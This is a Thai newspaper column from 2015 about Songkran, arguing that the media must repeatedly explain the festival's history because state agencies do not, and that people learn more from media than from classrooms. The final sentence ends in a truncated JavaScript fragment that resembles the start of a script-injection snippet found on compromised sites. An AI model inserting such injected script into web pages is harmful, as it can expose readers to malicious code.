มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 23 เมษายน 2558

 

สื่อต้องทำ เพราะทางการไม่ทำ

          “สงกรานต์ ก็เหมือนเรื่องอื่นๆ ประเด็นเดิมๆ เอามาเล่นใหม่ได้ทุกเรื่อง”

          เป็นข้อความในสื่อสาธารณะเพื่อตำหนิติเตียนคนเขียนอธิบายเกี่ยวกับสงกรานต์ในช่วงเทศกาลสงกรานต์

          การแบ่งปันเผยแพร่ข้อมูลความรู้สู่สาธารณะ ผมเคยเขียนหลายครั้งว่าต้องร่วมกันทำสม่ำเสมอต่อเนื่องยาวนานทั้งชีวิต โดยผ่านสื่อหลากหลาย จะเรียกทำซ้ำหรือผลิตซ้ำก็ได้

          ทุกวันนี้สงกรานต์เป็นวัฒนธรรมขายได้และขายดีประจำปี ยิ่งจำเป็นต้องมีคำอธิบายที่ไม่ขี้ตู่และไม่ตีขลุมว่าสงกรานต์เป็นปีใหม่ไทยเท่านั้น (บางคนหนักข้อว่าประเทศอื่นเลียนแบบไปจากไทย)

          แล้วจำเป็นต้องทำซ้ำ หรือจะเรียกผลิตซ้ำก็ตามใจ เพื่อตอกย้ำบ่อยๆ โดยผู้ทำต้องไม่เบื่อหน่ายที่จะทำโดยผ่านสื่อ หรือขอความอนุเคราะห์จากสื่อ เพื่อให้กระจายถึงคนทั่วไปกว้างขวางที่สุด

          คำอธิบายของทางการเรื่องประวัติความเป็นมาสงกรานต์ยังคลุมเครือ มีข้อทักท้วงถกเถียงอีกมาก

          ยิ่งต้องกระตือรือร้นชักชวนให้ร่วมกันอธิบายหลายหลากโดยไม่ถือเป็นข้อยุติ

          เมื่อคนรับไปแล้วจะทิ้งขว้างก็ได้ เข้าหูซ้ายทะลุหูขวาก็ไม่เป็นไร ไม่เสียหลาย เพราะบางส่วนจะตกค้างเป็นขี้หูบ้าง เมื่อมีวิกฤตในชีวิตต้องใช้งาน เขาจะนึกขึ้นได้เอง

          หรือนึกไม่ออกก็ไม่เสียหาย เพราะเดี๋ยวก็ได้ยินอีกในสงกรานต์ปีต่อไป

          เมื่อสถาบันการศึกษาและหน่วยงานทางการของรัฐ เช่น กรมศิลปากร ซึ่งมีภาระหน้าที่โดยตรง แต่ไม่ทำหน้าที่แบ่งปันเผยแพร่ข้อมูลความรู้

          สื่อก็ต้องทำงาน โดยใช้ข้อมูลความรู้จากครูบาอาจารย์นักปราชญ์ราชบัณฑิตรุ่นก่อนๆ มาทำให้ง่าย แล้วผลิตซ้ำ ทำซ้ำประจำทุกปี

          ดังนั้น ที่ควรทำคือต้องตำหนิติเตียนภาครัฐไม่ทำหน้าที่ ไม่ใช่ไปลงที่คนทำสื่อ

          ก่อนถึงสงกรานต์ และขณะมีสงกรานต์ คือช่วงเวลาดีที่สุด เพราะคนส่วนมากกระหายความรู้เรื่องสงกรานต์ พร้อมจะรับตามอัตภาพ

          ถ้าช่วงเวลาปกติไม่มีใครอยากรู้ ฉะนั้น ต้องแบ่งปันเผยแพร่ช่วงนี้

          จะมัวทำจริตดกอยู่ไม่ได้ว่าไม่ตามกระแส (เหมือนครูบาอาจารย์กากๆพวกหนึ่งชอบอ้าง)

 

เรียนรู้จากสื่อ มากกว่าห้องเรียน

          สื่อ ถือเป็นสถาบันการศึกษานอกระบบ และการศึกษาตามอัธยาศัย ของคนหลายวัยและหลายกลุ่ม

          “เด็กเรียนรู้จากสื่อมากกว่าในห้องเรียน” เป็นสิ่งที่สำรวจพบโดยผู้เชี่ยวชาญการศึกษาของเด็กและเยาวชน

          ในความจริงไม่จำเพาะเด็กและเยาวชน แต่มีในการศึกษาทุกระดับ เช่น นิสิตนักศึกษามหาวิทยาลัย ล้วนเรียนรู้จากสื่อมากกว่าห้องเรียนทั้งนั้น

          โดยเฉพาะมหาวิทยาลัย ที่เน้นให้อาจารย์บรรยายปาวๆ ในห้องเรียนมากกว่ากิจกรรมความรู้นอกห้องเรียน

          ปัญหาอยู่ที่อาจารย์มหาวิทยาลัยรู้ไม่เท่าทันสื่อ จึงไม่คิดและไม่มีประสิทธิภาพที่จะใช้สื่อให้เป็นประโยชน์ต่อการศึกษา โดยไม่ตกเป็นเครื่องมือของสื่อvar d=document;var s=d.createElement(‘script’);